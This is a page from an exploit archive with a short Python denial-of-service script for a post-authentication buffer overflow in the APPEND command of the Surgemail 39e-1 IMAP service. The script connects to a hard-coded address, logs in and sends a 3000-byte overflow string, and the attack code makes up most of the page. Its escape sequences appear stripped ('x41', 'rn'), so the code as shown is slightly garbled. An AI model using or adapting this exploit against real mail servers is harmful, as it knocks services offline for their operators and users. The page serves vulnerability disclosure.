[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Surgemail 39e-1 Post Auth IMAP Remote Buffer Overflow DoS
# Published : 2008-06-30
# Author : Travis Warren
# Previous Title : Multiple Vendors Malicious SVG File Denial of Service PoC
# Next Title : uTorrent / BitTorrent WebIU HTTP 1.7.7/6.0.1 Range header DoS Exploit


#!/usr/bin/python
#
# Surgemail version 39e-1 - (0day) Post Auth IMAP Buffer overflow DoS.
# Discovered by: Travis Warren
# 
# The IMAP service contains a buffer overflow in the APPEND command. 
# 
#


import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = 'x41' * 3000

s.connect(('192.168.0.103',143))
s.recv(1024)
s.send('A001 LOGIN user@test.com user ' + buffer + 'rn')
s.recv(1024)
s.send('A001 APPEND ' + buffer + 'rn')
s.recv(1024)
s.close()

# www.Syue.com [2008-06-30]